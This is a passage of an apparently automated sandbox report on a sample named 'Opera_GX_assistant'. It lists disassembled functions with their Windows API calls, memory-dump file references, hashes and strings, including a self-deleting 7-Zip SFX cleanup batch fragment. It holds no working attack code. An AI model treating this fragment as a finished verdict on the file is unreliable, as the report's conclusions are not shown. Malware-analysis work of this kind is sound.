                                                                                                                                                                                                                • lstrlenW.KERNEL32(?), ref: 00408E57
                                                                                                                                                                                                                • lstrlenW.KERNEL32(?), ref: 00408E5E
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00408E73
                                                                                                                                                                                                                • lstrcpyW.KERNEL32(00000000,?), ref: 00408E89
                                                                                                                                                                                                                • lstrcpyW.KERNEL32(-00000002,?), ref: 00408E9A
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 00408EA3
                                                                                                                                                                                                                • LocalFree.KERNEL32(?), ref: 00408EAD
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 829399097-0
                                                                                                                                                                                                                • Opcode ID: f8b571cf12f2142ed93ce3a343f707ef736bd3d350d96661a320894885632500
                                                                                                                                                                                                                • Instruction ID: 430b742eb51bd6d908813ed9783ba86da6981bd96c63e5e907f370e205208e14
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f8b571cf12f2142ed93ce3a343f707ef736bd3d350d96661a320894885632500
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B6218176900118BFDB149FA1DD85DEB3BBCFB48354B10407AFA45D6190EF34AA848BA4
                                                                                                                                                                                                                Function 00402F12 Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • FindFirstFileW.KERNEL32(?,?,004145D0,?,?,?,00000000), ref: 00402F41
                                                                                                                                                                                                                • lstrcmpW.KERNEL32(?,004145CC,?,0000005C,?,?,?,00000000), ref: 00402F94
                                                                                                                                                                                                                • lstrcmpW.KERNEL32(?,004145C4,?,?,00000000), ref: 00402FAA
                                                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 00402FC0
                                                                                                                                                                                                                • DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00402FC7
                                                                                                                                                                                                                • FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 00402FD9
                                                                                                                                                                                                                • FindClose.KERNEL32(00000000,?,?,00000000), ref: 00402FE8
                                                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 00402FF3
                                                                                                                                                                                                                • RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 00402FFC
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 00403007
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 00403012
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1862581289-0
                                                                                                                                                                                                                • Opcode ID: 0393c84bcc337a163d12bb9984b23ba9f13974d14f737d5466da6d7640f8d65a
                                                                                                                                                                                                                • Instruction ID: cb1819d8829f3ea853b928feda35cb2472adc35407fd345360bfd53aaca0e622
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0393c84bcc337a163d12bb9984b23ba9f13974d14f737d5466da6d7640f8d65a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 55218030600219BADB20AF61DD8DEEE3B7C9F94745F10407AF905F20D1EB789A859A68
                                                                                                                                                                                                                Function 00408643 Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 00408662
                                                                                                                                                                                                                • SetWindowsHookExW.USER32(00000007,Function_00008589,00000000,00000000), ref: 0040866D
                                                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 0040867C
                                                                                                                                                                                                                • SetWindowsHookExW.USER32(00000002,Function_00008615,00000000,00000000), ref: 00408687
                                                                                                                                                                                                                • EndDialog.USER32(?,00000000), ref: 004086AD
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CurrentHookThreadWindows$Dialog
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1967849563-0
                                                                                                                                                                                                                • Opcode ID: a0805c3b6262eedc2856a77b882f8b22c7f0eb3195d906f6a4b2a32eeb2a9efd
                                                                                                                                                                                                                • Instruction ID: 75cd9ee5bc6f61fe2cb81be21b4fd125b80c6fdd5fd3af93018a39c96244cffa
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a0805c3b6262eedc2856a77b882f8b22c7f0eb3195d906f6a4b2a32eeb2a9efd
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5B01DBB1201218DFC2106B56EE84972F7ECE7943A6756443FEA4591160CEB79840CB68
                                                                                                                                                                                                                Function 0040247A Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • AllocateAndInitializeSid.ADVAPI32(00406061,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,0000000A,-00000008,00406061,?,00000000,0000000A), ref: 004024B3
                                                                                                                                                                                                                • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 004024C5
                                                                                                                                                                                                                • FreeSid.ADVAPI32(?), ref: 004024CE
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3429775523-0
                                                                                                                                                                                                                • Opcode ID: f95902cbba3d6f605503444b4f1013812362749f131f83053839915cbbdee454
                                                                                                                                                                                                                • Instruction ID: 2f4618e6ceb2729e5ce81d0b7ff02b8ca2855782c3c39cce86a1747ea6c70431
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f95902cbba3d6f605503444b4f1013812362749f131f83053839915cbbdee454
                                                                                                                                                                                                                • Instruction Fuzzy Hash: AAF03C72944288FEDB01DBE99D85ADEBF7CAB18300F4480AAA201A3182D2705704CB29
                                                                                                                                                                                                                Function 0040AD40 Relevance: .5, Instructions: 479COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: b1df083afa2ec122568cef5a0170ccce4311ab5785baa6c9343831b33b0cc2ec
                                                                                                                                                                                                                • Instruction ID: a70108eea018c92c42d4d7c2a0708576ea9e3f4788566445afb5a67777e15e20
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b1df083afa2ec122568cef5a0170ccce4311ab5785baa6c9343831b33b0cc2ec
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 32021972A043114BDB09CE28C59426DBBE2FBC4345F154A3EE89667BC4D738D958C7CA
                                                                                                                                                                                                                Function 004132E3 Relevance: .1, Instructions: 92COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: e781e73348b070714efe4b9f1f387dbcbf5b044bf6c7f23a7a0004d2e0ca769a
                                                                                                                                                                                                                • Instruction ID: 3b725a98e288159125102a3edca0d48ca992881cc25e8d1e0dcb74a2021457fd
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e781e73348b070714efe4b9f1f387dbcbf5b044bf6c7f23a7a0004d2e0ca769a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1E418261C14F9652EB234F7CC842272F320BFAB244F00D76AFDD179962FB326684A655
                                                                                                                                                                                                                Function 00412910 Relevance: .1, Instructions: 80COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: 1bc7585a6642fc41dd3456189cb290ea47dfd529c8419a3105e84123fd2398c8
                                                                                                                                                                                                                • Instruction ID: d2952b4fd936249a36360c9c5a812dc8fabfc0b9e1faf07c4516d4d0265aff49
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1bc7585a6642fc41dd3456189cb290ea47dfd529c8419a3105e84123fd2398c8
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 98212E7B370D4607EB0C893DAE337BD2482E34530AF48953DE247C9784EEAE9494860D
                                                                                                                                                                                                                Function 0041304B Relevance: .1, Instructions: 70COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
                                                                                                                                                                                                                • Instruction ID: 2e6d4c218486c4658eec772950ca505b5256e005f8c35fc6b5f0778eef787718
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
                                                                                                                                                                                                                • Instruction Fuzzy Hash: AC21497251442547C711DF1DF4887B7B7E1FFC831AFA38A3BD9818B180C628D880C690
                                                                                                                                                                                                                Function 00412F71 Relevance: .1, Instructions: 70COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: a91e830b051fd3563903b3b4c558af91fd9d6843125d3e1887e1db665648e344
                                                                                                                                                                                                                • Instruction ID: 870a629705c11d103608a0bd8bc01d2816e863ef59c5c82314981a60aa293f0c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a91e830b051fd3563903b3b4c558af91fd9d6843125d3e1887e1db665648e344
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7421DA3290062547C711CE6DE4845A7F3E1FBC4366F134727ED9467291C539EC55D7A0
                                                                                                                                                                                                                Function 0040506D Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 213threadprocesssynchronizationCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCommandLineW.KERNEL32(?,?,?), ref: 0040508E
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00405151
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00405159
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 00405161
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00405169
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 00405171
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000), ref: 00405179
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000), ref: 00405181
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 00405189
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 00405191
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405199
                                                                                                                                                                                                                • GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004051B2
                                                                                                                                                                                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 004051D9
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004051E3
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004051EE
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004051F6
                                                                                                                                                                                                                • CreateJobObjectW.KERNEL32(00000000,00000000), ref: 0040520B
                                                                                                                                                                                                                • AssignProcessToJobObject.KERNEL32(00000000,?), ref: 00405222
                                                                                                                                                                                                                • CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00405232
                                                                                                                                                                                                                • SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 00405253
                                                                                                                                                                                                                • ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040525C
                                                                                                                                                                                                                • GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 0040527B
                                                                                                                                                                                                                • ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405284
                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 0040528B
                                                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040529A
                                                                                                                                                                                                                • GetExitCodeProcess.KERNEL32(?,?), ref: 004052A3
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004052AE
                                                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004052BA
                                                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004052C1
                                                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004052CC
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
                                                                                                                                                                                                                • String ID: " -$sfxwaitall
                                                                                                                                                                                                                • API String ID: 2734624574-3991362806
                                                                                                                                                                                                                • Opcode ID: 6c878980874e97d60afc73b64ceb1c7c2be65b034dc70558c8d8210e514a4f6e
                                                                                                                                                                                                                • Instruction ID: 7f61a69da49000c65074572d1fe98706f6aedafc1cd57d8e6ee043ebd50c0a44
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6c878980874e97d60afc73b64ceb1c7c2be65b034dc70558c8d8210e514a4f6e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 22615EB2800108BBDF11AFA1DD46EDF3B6CFF48314F04453AFA15F21A1EA7999548B68
                                                                                                                                                                                                                Function 00405333 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetDriveTypeW.KERNEL32(?,?,00000000), ref: 0040537A
                                                                                                                                                                                                                • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004053AB
                                                                                                                                                                                                                • WriteFile.KERNEL32(00418818,?,?,00406D34,00000000,del ",:Repeat,00000000), ref: 00405460
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 0040546B
                                                                                                                                                                                                                • CloseHandle.KERNEL32(00418818), ref: 00405474
                                                                                                                                                                                                                • SetFileAttributesW.KERNEL32(00406D34,00000000), ref: 0040548B
                                                                                                                                                                                                                • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 0040549D
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 004054A6
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 004054B2
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00406D34,?), ref: 004054B8
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00406D34,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00406D34,00418818), ref: 004054E6
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$File$AttributesCloseCreateDriveExecuteHandleShellTypeWrite
                                                                                                                                                                                                                • String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$del "$if exist "$open
                                                                                                                                                                                                                • API String ID: 3007203151-3467708659
                                                                                                                                                                                                                • Opcode ID: a1f0e469e149a7707563f22400a512ad791da98604579a738b29f2e7a1cb8d31
                                                                                                                                                                                                                • Instruction ID: dd19172183314f13989176bb75b485d2f6e39d8bd015fd44596edd7a76c33576
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a1f0e469e149a7707563f22400a512ad791da98604579a738b29f2e7a1cb8d31
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 92413D71800109EADB10AF91DD86EEFBB79EF04358F10853AF511B60E1DB786E85CB68
                                                                                                                                                                                                                Function 00403159 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 123windowlibrarystringCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetClassNameA.USER32(?,?,00000040), ref: 0040316C
                                                                                                                                                                                                                • lstrcmpiA.KERNEL32(?,STATIC), ref: 0040317F
                                                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 0040318C
                                                                                                                                                                                                                  • Part of subcall function 00403116: GetWindowTextLengthW.USER32(?), ref: 00403127
                                                                                                                                                                                                                  • Part of subcall function 00403116: GetWindowTextW.USER32(004031A0,00000000,00000001), ref: 00403144
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 004031B9
                                                                                                                                                                                                                • GetParent.USER32(?), ref: 004031C7
                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(riched20), ref: 004031DB
                                                                                                                                                                                                                • GetMenu.USER32(?), ref: 004031EE
                                                                                                                                                                                                                • SetThreadLocale.KERNEL32(00000419), ref: 004031FB
                                                                                                                                                                                                                • CreateWindowExW.USER32(00000000,RichEdit20W,004144C8,50000804,?,?,?,?,?,00000000,00000000,00000000), ref: 0040322B
                                                                                                                                                                                                                • DestroyWindow.USER32(?), ref: 0040323C
                                                                                                                                                                                                                • SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 00403251
                                                                                                                                                                                                                • GetSysColor.USER32(0000000F), ref: 00403255
                                                                                                                                                                                                                • SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00403263
                                                                                                                                                                                                                • SendMessageW.USER32(00000000,00000461,?,?), ref: 0040328E
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 00403293
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?), ref: 0040329B
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
